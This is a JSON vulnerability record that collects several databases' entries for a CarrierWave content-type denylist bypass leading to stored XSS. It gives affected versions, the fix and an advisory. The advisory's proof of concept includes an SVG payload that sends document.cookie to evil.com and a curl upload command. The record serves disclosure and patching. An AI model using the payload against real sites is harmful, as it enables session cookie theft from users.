{"id":"CVE-2026-44587","aliases":["DEBIAN-CVE-2026-44587","EUVD-2026-37515","GHSA-7g26-2qgj-chfg","UBUNTU-CVE-2026-44587"],"status":"published","title":"CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters","description":"CarrierWave is a framework to upload files from Ruby applications. In versions prior to 2.2.7 and 3.1.3, the content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block. In lib/carrierwave/uploader/content_type_denylist.rb:57, denylist entries are interpolated directly into a regex without Regexp.quote or anchoring, so an entry such as image/svg+xml becomes the pattern /image\\/svg+xml/, in which + is treated as a quantifier rather than a literal character and therefore never matches the real MIME type image/svg+xml. This is inconsistent with the allowlist implementation, which correctly applies both Regexp.quote and a \\A anchor. Other content types containing regex metacharacters, such as application/xhtml+xml, are affected as well. As a result, any application that relies on content_type_denylist to block image/svg+xml, most commonly to prevent stored XSS, is silently unprotected. An attacker can upload an SVG file containing arbitrary JavaScript; if the application serves that SVG inline from its own origin, the script executes in the victim's browser, resulting in stored XSS. This issue has been fixed in versions 2.2.7 and 3.1.3.","severity":{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00223,"percentile":0.13044,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-116","CWE-184","CWE-625","CWE-79"],"published":"2026-05-27T00:03:11Z","modified":"2026-10-28T02:30:47Z","fixes":[{"ecosystem":"RubyGems","package":"carrierwave","fixed_in":["3.1.3","2.2.7"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"RubyGems","package":"carrierwave","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0.beta"},{"fixed":"3.1.3"}]}]},{"source":"ghsa","ecosystem":"RubyGems","package":"carrierwave","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.7"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"ruby-carrierwave","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.2-2","2.0.2-1","2.2.2-1","3.0.7-1"]},{"source":"osv","ecosystem":"RubyGems","package":"carrierwave","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0.beta"},{"fixed":"3.1.3"}]}],"versions":["3.0.0","3.0.0.beta","3.0.0.rc","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.1.0","3.1.0.beta","3.1.0.rc","3.1.1","3.1.2"]},{"source":"osv","ecosystem":"RubyGems","package":"carrierwave","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.7"}]}],"versions":["0.1","0.10.0","0.11.0","0.11.1","0.11.2","0.2.0","0.2.1","0.2.3","0.2.4","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.3.5.1","0.3.5.2","0.4.0","0.4.1","0.4.10","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.5.0","0.5.0.beta2","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.6.0","0.6.1","0.6.2","0.7.0","0.7.1","0.8.0","0.9.0","1.0.0","1.0.0.beta","1.0.0.rc","1.1.0","1.2.0","1.2.1","1.2.2","1.2.3","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","2.0.0","2.0.0.rc","2.0.1","2.0.2","2.1.0","2.1.1","2.2.0","2.2.1","2.2.2","2.2.3","2.2.4","2.2.5","2.2.6"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"ruby-carrierwave","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.10.0+gh-1","0.10.0+gh-2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"ruby-carrierwave","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.10.0+gh-4","1.1.0-3","1.2.2-1","1.2.2-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"ruby-carrierwave","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.1-2","1.3.1-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"ruby-carrierwave","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.2-2","1.3.2-2ubuntu0.22.04.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"ruby-carrierwave","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.2-2","1.3.2-2ubuntu0.24.04.1~esm1"]}],"products":[{"vendor":"carrierwave_project","product":"carrierwave"},{"vendor":"carrierwaveuploader","product":"carrierwave"}],"references":[{"url":"https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-7g26-2qgj-chfg","tags":["x_refsource_CONFIRM","exploit","Vendor Advisory","Exploit","advisory","web"]},{"url":"https://github.com/carrierwaveuploader/carrierwave/commit/21221cc6e260633f7da78c6133a88666a5529d27","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/carrierwaveuploader/carrierwave/commit/4c4a005775a436c5165df014dc9b1874c227d86c","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/carrierwave/CVE-2026-44587.yml","tags":["web"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44587","tags":["web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44587","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7g26-2qgj-chfg"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44587.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-44587","tags":["advisory"]},{"url":"https://github.com/carrierwaveuploader/carrierwave","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-44587","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-44587","title":"CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters","description":"CarrierWave is a framework to upload files from Ruby applications. In versions prior to 2.2.7 and 3.1.3, the content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block. In lib/carrierwave/uploader/content_type_denylist.rb:57, denylist entries are interpolated directly into a regex without Regexp.quote or anchoring, so an entry such as image/svg+xml becomes the pattern /image\\/svg+xml/, in which + is treated as a quantifier rather than a literal character and therefore never matches the real MIME type image/svg+xml. This is inconsistent with the allowlist implementation, which correctly applies both Regexp.quote and a \\A anchor. Other content types containing regex metacharacters, such as application/xhtml+xml, are affected as well. As a result, any application that relies on content_type_denylist to block image/svg+xml, most commonly to prevent stored XSS, is silently unprotected. An attacker can upload an SVG file containing arbitrary JavaScript; if the application serves that SVG inline from its own origin, the script executes in the victim's browser, resulting in stored XSS. This issue has been fixed in versions 2.2.7 and 3.1.3.","status":"published","published":"2026-06-16T23:10:43.665Z","modified":"2026-06-17T18:12:37.182Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-625","CWE-184","CWE-79"],"updated_at":"2026-11-02T13:42:49.132798Z"}],"euvd":[{"id":"EUVD-2026-37515","description":"CarrierWave is a framework to upload files from Ruby applications. In versions prior to 2.2.7 and 3.1.3, the content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block. In lib/carrierwave/uploader/content_type_denylist.rb:57, denylist entries are interpolated directly into a regex without Regexp.quote or anchoring, so an entry such as image/svg+xml becomes the pattern /image\\/svg+xml/, in which + is treated as a quantifier rather than a literal character and therefore never matches the real MIME type image/svg+xml. This is inconsistent with the allowlist implementation, which correctly applies both Regexp.quote and a \\A anchor. Other content types containing regex metacharacters, such as application/xhtml+xml, are affected as well. As a result, any application that relies on content_type_denylist to block image/svg+xml, most commonly to prevent stored XSS, is silently unprotected. An attacker can upload an SVG file containing arbitrary JavaScript; if the application serves that SVG inline from its own origin, the script executes in the victim's browser, resulting in stored XSS. This issue has been fixed in versions 2.2.7 and 3.1.3.","status":"published","published":"2026-06-16T23:10:43Z","modified":"2026-06-17T18:12:37Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T18:20:37.444507Z"}],"ghsa":[{"id":"GHSA-7g26-2qgj-chfg","title":"CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters","description":"### Summary\nCarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.\n\n**Note**: CarrierWave is aware `#content_type_denylist is deprecated for the security reason`, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a  vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.\n\n### Details\nIn `lib/carrierwave/uploader/content_type_denylist.rb:57`, string denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring:\n\n```ruby\ndef denylisted_content_type?(denylist, content_type)\n  Array(denylist).any? { |item| content_type =~ /#{item}/ }\nend\nThe entry \"image/svg+xml\" becomes the regex /image\\/svg+xml/ where + is a quantifier meaning \"one or more g\", not a literal +. This regex never matches the real MIME type \"image/svg+xml\" which contains a literal +.\nThis is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \\A anchor:\nrubydef allowlisted_content_type?(allowlist, content_type)\n  Array(allowlist).any? do |item|\n    item = Regexp.quote(item) if item.class != Regexp\n    content_type =~ /\\A#{item}/\n  end\nend\n```\n\nOther affected MIME types include `application/xhtml+xml` and any type containing regex metacharacters.\n\nFix: Apply Regexp.quote for string entries and anchor with \\A, matching the existing allowlist implementation:\n```\nrubydef denylisted_content_type?(denylist, content_type)\n  Array(denylist).any? do |item|\n    item = Regexp.quote(item) if item.class != Regexp\n    content_type =~ /\\A#{item}/\n  end\nend\n```\n\n### PoC\n\n\n```\n app.rb\nrequire \"sinatra\"\nrequire \"carrierwave\"\nrequire \"fileutils\"\n\nFileUtils.mkdir_p(\"uploads/files\")\n\nCarrierWave.configure do |config|\n  config.root      = File.expand_path(\"uploads\")\n  config.store_dir = \"files\"\nend\n\nclass VaultUploader \u003c CarrierWave::Uploader::Base\n  storage :file\n  def store_dir = \"files\"\n  def content_type_denylist = %w[image/svg+xml]\nend\n\npost \"/upload\" do\n  content_type :json\n  san = CarrierWave::SanitizedFile.new(\n    tempfile:     params[:file][:tempfile],\n    filename:     params[:file][:filename],\n    content_type: params[:file][:type]\n  )\n  uploader = VaultUploader.new\n  begin\n    uploader.store!(san)\n    { result: \"VULNERABLE\", message: \"SVG bypassed denylist\", path: uploader.path }.to_json\n  rescue CarrierWave::IntegrityError =\u003e e\n    { result: \"blocked\", message: e.message }.to_json\n  end\nend\n```\n\n```\nbundle exec ruby app.rb \u0026\n\necho '\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003cscript\u003edocument.location=\"https://evil.com/?c=\"+document.cookie\u003c/script\u003e\u003c/svg\u003e' \u003e xss.svg\n\ncurl -X POST http://localhost:4567/upload \\\n  -F \"file=@xss.svg;type=image/svg+xml\"\n```\n\nExpected response (denylist working):\n```\njson{ \"result\": \"blocked\", \"message\": \"...\" }\n```\n\n\nActual response:\n```\njson{ \"result\": \"VULNERABLE\", \"message\": \"SVG bypassed denylist\", \"path\": \"...\" }\n```\n### Impact\nAny application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary","status":"published","published":"2026-05-27T00:03:11Z","modified":"2026-07-08T17:39:33Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-79","CWE-116"],"updated_at":"2026-11-02T14:40:40.389795Z"}],"nvd":[{"id":"CVE-2026-44587","description":"CarrierWave is a framework to upload files from Ruby applications. In versions prior to 2.2.7 and 3.1.3, the content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block. In lib/carrierwave/uploader/content_type_denylist.rb:57, denylist entries are interpolated directly into a regex without Regexp.quote or anchoring, so an entry such as image/svg+xml becomes the pattern /image\\/svg+xml/, in which + is treated as a quantifier rather than a literal character and therefore never matches the real MIME type image/svg+xml. This is inconsistent with the allowlist implementation, which correctly applies both Regexp.quote and a \\A anchor. Other content types containing regex metacharacters, such as application/xhtml+xml, are affected as well. As a result, any application that relies on content_type_denylist to block image/svg+xml, most commonly to prevent stored XSS, is silently unprotected. An attacker can upload an SVG file containing arbitrary JavaScript; if the application serves that SVG inline from its own origin, the script executes in the victim's browser, resulting in stored XSS. This issue has been fixed in versions 2.2.7 and 3.1.3.","status":"published","published":"2026-06-17T13:20:40.703Z","modified":"2026-10-25T23:10:00.167Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79","CWE-184","CWE-625"],"updated_at":"2026-11-02T14:12:24.544761Z"}],"osv":[{"id":"CVE-2026-44587","title":"CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters","description":"CarrierWave is a framework to upload files from Ruby applications. In versions prior to 2.2.7 and 3.1.3, the content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block. In lib/carrierwave/uploader/content_type_denylist.rb:57, denylist entries are interpolated directly into a regex without Regexp.quote or anchoring, so an entry such as image/svg+xml becomes the pattern /image\\/svg+xml/, in which + is treated as a quantifier rather than a literal character and therefore never matches the real MIME type image/svg+xml. This is inconsistent with the allowlist implementation, which correctly applies both Regexp.quote and a \\A anchor. Other content types containing regex metacharacters, such as application/xhtml+xml, are affected as well. As a result, any application that relies on content_type_denylist to block image/svg+xml, most commonly to prevent stored XSS, is silently unprotected. An attacker can upload an SVG file containing arbitrary JavaScript; if the application serves that SVG inline from its own origin, the script executes in the victim's browser, resulting in stored XSS. This issue has been fixed in versions 2.2.7 and 3.1.3.","status":"published","published":"2026-06-16T23:10:43.665Z","modified":"2026-10-28T02:30:47.278709629Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-184","CWE-625","CWE-79"],"updated_at":"2026-11-02T15:45:05.172514Z"},{"id":"DEBIAN-CVE-2026-44587","description":"CarrierWave is a framework to upload files from Ruby applications. In versions prior to 2.2.7 and 3.1.3, the content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block. In lib/carrierwave/uploader/content_type_denylist.rb:57, denylist entries are interpolated directly into a regex without Regexp.quote or anchoring, so an entry such as image/svg+xml becomes the pattern /image\\/svg+xml/, in which + is treated as a quantifier rather than a literal character and therefore never matches the real MIME type image/svg+xml. This is inconsistent with the allowlist implementation, which correctly applies both Regexp.quote and a \\A anchor. Other content types containing regex metacharacters, such as application/xhtml+xml, are affected as well. As a result, any application that relies on content_type_denylist to block image/svg+xml, most commonly to prevent stored XSS, is silently unprotected. An attacker can upload an SVG file containing arbitrary JavaScript; if the application serves that SVG inline from its own origin, the script executes in the victim's browser, resulting in stored XSS. This issue has been fixed in versions 2.2.7 and 3.1.3.","status":"published","published":"2026-06-17T13:20:40.703Z","modified":"2026-10-26T11:47:27.188202291Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:55.669088Z"},{"id":"GHSA-7g26-2qgj-chfg","title":"CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters","description":"### Summary\nCarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.\n\n**Note**: CarrierWave is aware `#content_type_denylist is deprecated for the security reason`, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a  vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.\n\n### Details\nIn `lib/carrierwave/uploader/content_type_denylist.rb:57`, string denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring:\n\n```ruby\ndef denylisted_content_type?(denylist, content_type)\n  Array(denylist).any? { |item| content_type =~ /#{item}/ }\nend\nThe entry \"image/svg+xml\" becomes the regex /image\\/svg+xml/ where + is a quantifier meaning \"one or more g\", not a literal +. This regex never matches the real MIME type \"image/svg+xml\" which contains a literal +.\nThis is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \\A anchor:\nrubydef allowlisted_content_type?(allowlist, content_type)\n  Array(allowlist).any? do |item|\n    item = Regexp.quote(item) if item.class != Regexp\n    content_type =~ /\\A#{item}/\n  end\nend\n```\n\nOther affected MIME types include `application/xhtml+xml` and any type containing regex metacharacters.\n\nFix: Apply Regexp.quote for string entries and anchor with \\A, matching the existing allowlist implementation:\n```\nrubydef denylisted_content_type?(denylist, content_type)\n  Array(denylist).any? do |item|\n    item = Regexp.quote(item) if item.class != Regexp\n    content_type =~ /\\A#{item}/\n  end\nend\n```\n\n### PoC\n\n\n```\n app.rb\nrequire \"sinatra\"\nrequire \"carrierwave\"\nrequire \"fileutils\"\n\nFileUtils.mkdir_p(\"uploads/files\")\n\nCarrierWave.configure do |config|\n  config.root      = File.expand_path(\"uploads\")\n  config.store_dir = \"files\"\nend\n\nclass VaultUploader \u003c CarrierWave::Uploader::Base\n  storage :file\n  def store_dir = \"files\"\n  def content_type_denylist = %w[image/svg+xml]\nend\n\npost \"/upload\" do\n  content_type :json\n  san = CarrierWave::SanitizedFile.new(\n    tempfile:     params[:file][:tempfile],\n    filename:     params[:file][:filename],\n    content_type: params[:file][:type]\n  )\n  uploader = VaultUploader.new\n  begin\n    uploader.store!(san)\n    { result: \"VULNERABLE\", message: \"SVG bypassed denylist\", path: uploader.path }.to_json\n  rescue CarrierWave::IntegrityError =\u003e e\n    { result: \"blocked\", message: e.message }.to_json\n  end\nend\n```\n\n```\nbundle exec ruby app.rb \u0026\n\necho '\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003cscript\u003edocument.location=\"https://evil.com/?c=\"+document.cookie\u003c/script\u003e\u003c/svg\u003e' \u003e xss.svg\n\ncurl -X POST http://localhost:4567/upload \\\n  -F \"file=@xss.svg;type=image/svg+xml\"\n```\n\nExpected response (denylist working):\n```\njson{ \"result\": \"blocked\", \"message\": \"...\" }\n```\n\n\nActual response:\n```\njson{ \"result\": \"VULNERABLE\", \"message\": \"SVG bypassed denylist\", \"path\": \"...\" }\n```\n### Impact\nAny application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary","status":"published","published":"2026-05-27T00:03:11Z","modified":"2026-07-08T17:45:15.058151776Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-116","CWE-79"],"updated_at":"2026-11-02T15:46:41.002603Z"},{"id":"UBUNTU-CVE-2026-44587","description":"CarrierWave is a framework to upload files from Ruby applications. In versions prior to 2.2.7 and 3.1.3, the content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block. In lib/carrierwave/uploader/content_type_denylist.rb:57, denylist entries are interpolated directly into a regex without Regexp.quote or anchoring, so an entry such as image/svg+xml becomes the pattern /image\\/svg+xml/, in which + is treated as a quantifier rather than a literal character and therefore never matches the real MIME type image/svg+xml. This is inconsistent with the allowlist implementation, which correctly applies both Regexp.quote and a \\A anchor. Other content types containing regex metacharacters, such as application/xhtml+xml, are affected as well. As a result, any application that relies on content_type_denylist to block image/svg+xml, most commonly to prevent stored XSS, is silently unprotected. An attacker can upload an SVG file containing arbitrary JavaScript; if the application serves that SVG inline from its own origin, the script executes in the victim's browser, resulting in stored XSS. This issue has been fixed in versions 2.2.7 and 3.1.3.","status":"published","published":"2026-06-17T13:20:00Z","modified":"2026-06-24T11:01:41.198892888Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","level":"medium"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:22.075798Z"}]}}